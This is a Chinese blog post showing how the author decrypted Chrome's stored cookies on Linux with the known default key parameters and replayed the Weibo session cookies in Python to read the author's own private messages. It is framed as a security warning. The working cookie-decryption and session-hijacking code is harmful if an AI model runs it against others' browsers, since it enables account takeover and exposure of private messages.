微博群发私信 php,利用cookie劫持微博私信

记得还是在学Qt编程的时候,做过一个练手项目,产品是一个搜索Chrome的cookie内容的小软件。Chrome的cookie保存在用户目录的一个sqlite文件中,具体路径上网搜一下就知道了。当时比较天真,想看看cookie里面有没有明文保存的密码,结果当然是得到一堆乱码,最后就不了了之了。

直到前几天,我正在网上看一篇关于cookie的文章,忽然想起一件事情,我需要密码的原因无非是用来登录,我既然有了cookie直接发给服务器就可以了,又有什么必要了解cookie的内容?我顺手用chrome打开了微博私信查看下它的请求流程:

142511824063.png

貌似理论上没有什么问题,不过还是要做个试验验证一下,我准备尝试用python写个小程序模拟浏览器向微博服务器发起私信消息的页面请求。

当然首先还是让我的小伙伴给我发条私信:

142511824132.png

具体实现

整个实验我简单的作了个概念图:

142511824183.png

实验主要分为以下几个步骤:

* 从chrome的sqlite文件中提取cookie

* 模拟浏览器组装header

* 向服务器发起目标页面的请求

提取chrome的cookie信息

chrome的cookie保存路径在三大操作系统Windows、Linux和OSX上都不尽相同,以linux为例,它的保存路径就是~/.config/chromium/Default/Cookies,我们先用sqlite3程序把这个文件载入进来看看:

14251182423.png

cookie信息都保存在表cookies中,但是才刚开始就出现了意想不到的问题:

142511824283.png

表里面的值和记忆中的大部分都是一样的,唯独最重要的value一项,居然是空的,而在末尾倒是多了个encrypted_value項。谷歌了一下,了解到在chrome版本33之前,cookie都是直接存储的,在33+之后,谷歌开始对cookie的信息进行了加密。顺便感慨下时光飞逝,不知不觉又老了几个版本。chrome在windows上加密采用的是CryptUnprotectData函数,解密方法大家可以看这里。Linux和OSX上的加密方法相似,都采用的是AES(CBC)加密方法,了解密码学的都知道对这个数据进行解密至少需要好几个值,salt,key length,iv,password,iterations等等。不过不幸的是一位国外的网友n8henrie在浏览了chromium源码之后把这些值统统找到了,以下是他原话:

salt is b'saltysalt'

key length is 16

iv is 16 bytes of space b' ' * 16

on Mac OSX:

password is in keychain under Chrome Safe Storage

I use the excellent keyring package to get the password

You could also use bash: security find-generic-password -w -s "Chrome Safe Storage"

number of iterations is 1003

on Linux:

password is peanuts

number of iterations is 1

顺便贴出他给出的源代码(可能是原作者的失误,在clean函数中忘记调用了ord函数,特此补上):

#! /usr/bin/env python3

from Crypto.Cipher import AES

from Crypto.Protocol.KDF import PBKDF2

# Function to get rid of padding

def clean(x):

return x[:-ord(x[-1])].decode('utf8')

# replace with your encrypted_value from sqlite3

encrypted_value = ENCRYPTED_VALUE

# Trim off the 'v10' that Chrome/ium prepends

encrypted_value = encrypted_value[3:]

# Default values used by both Chrome and Chromium in OSX and Linux

salt = b'saltysalt'

iv = b' ' * 16

length = 16

# On Mac, replace MY_PASS with your password from Keychain

# On Linux, replace MY_PASS with 'peanuts'

my_pass = MY_PASS

my_pass = my_pass.encode('utf8')

# 1003 on Mac, 1 on Linux

iterations = 1003

key = PBKDF2(my_pass, salt, length, iterations)

cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)

print(clean(decrypted))

我稍微改了下源代码,对上图header里的cookie的第一項尝试进行解密:

from Crypto.Cipher import AES

from Crypto.Protocol.KDF import PBKDF2

def clean(x):

return x[:-ord(x[-1])].decode('utf8')

def decrypt(encrypted_value):

encrypted_value = encrypted_value[3:]

salt = b'saltysalt'

iv = b' ' * 16

length = 16

my_pass = 'peanuts'

my_pass = my_pass.encode('utf8')

iterations = 1

key = PBKDF2(my_pass, salt, length, iterations)

cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)

return clean(decrypted)

cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies')

cu = cx.cursor()

cu.execute("select * from cookies where host_key = '.weibo.com' and name = 'SINAGLOBAL'")

res = cu.fetchone()

print decrypt(res[len(res)-1])

结果显示n8henrie给出的值确实是正确的,解密成功。

142511824335.png

142511824386.png

这个值我们不知道有什么意义,因为本来就不需要,直接把它发给服务器就好,服务器自己知道怎么解密的。

cookie值解密出来之后,感觉就像是突然变成了宿管阿姨,手里握着整栋宿舍的钥匙。

组装header

组装header这里比较容易了,基本上照着上面截下来的Chrome的header照抄就好了,不过要注意的是记得把Accept-Encoding:gzip,deflate,sdch这一项去掉,不然返回的数据是经过压缩的,最后再加上解密出来的cookie,一个完整的header就出来了。

import sqlite3

import urllib2

import os

cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies')

cu = cx.cursor()

cu.execute("select * from cookies where host_key = '.weibo.com'")

cookies = ''

for res in cu.fetchall():

cookies += res[2] + '=' + decrypt(res[len(res)-1]) + '; '

url = 'http://weibo.com/messages'

header = {

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

#'Accept-Encoding': 'gzip, deflate, sdch',

'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4,zh-TW;q=0.2',

'Cache-Control': 'max-age=0',

'Connection': 'keep-alive',

'Host': 'weibo.com',

'Cookie': cookies,

'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/40.0.2214.111 Chrome/40.0.2214.111 Safari/537.36'

}

request = urllib2.Request(url, headers=header)

发送请求

最后一步发送请求,把返回的数据打开看一下,私信消息已经在里面了。

142511824443.png

结语

没想到整个过程还算是比较顺利的,而且还是在linux平台。随后我又在windows和OSX上进行了试验,windows的解密要更简单一点,而在OSX上获取Chrome Safe Storage的password的时候系统提醒需要获取授权,也就是说从目前来看只有苹果系挡住了这次攻击。不得不说cookie确实给我们带来了太多的便利,但是与此同时也牺牲了太多的安全性,网络发展到今天很多事情已经超出可控的范围,尤其是在中国这种软件氛围,谁知道各大软件产商有什么做不出来的,想要保护好自己,只能靠自己平时多长点心眼了。

Q&A

Q:为什么我直接用你的代码返回404?

A:你要先用chrome至少浏览一次私信,不然哪来的cookie。

Q:为什么选择微博私信做实验?

A:因为我知道你们用的是微信而不是私信。

Q:你是在本机运行的,劫持自己的信息可以,怎么劫持别人的信息?

A:一般人不行,但是软件产商可以。

Q:为什么每个用户只有一条私信?不可以看到所有的对话嘛?

A:可以,但这里只是做为实验,不可有小人之心,但不能不防小人

Q:有了cookie除了看私信还能干什么?

A:不知道。

最后感谢下caixpp童鞋发了封私信,还有,用完数据库记得close。

References

转载请注明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值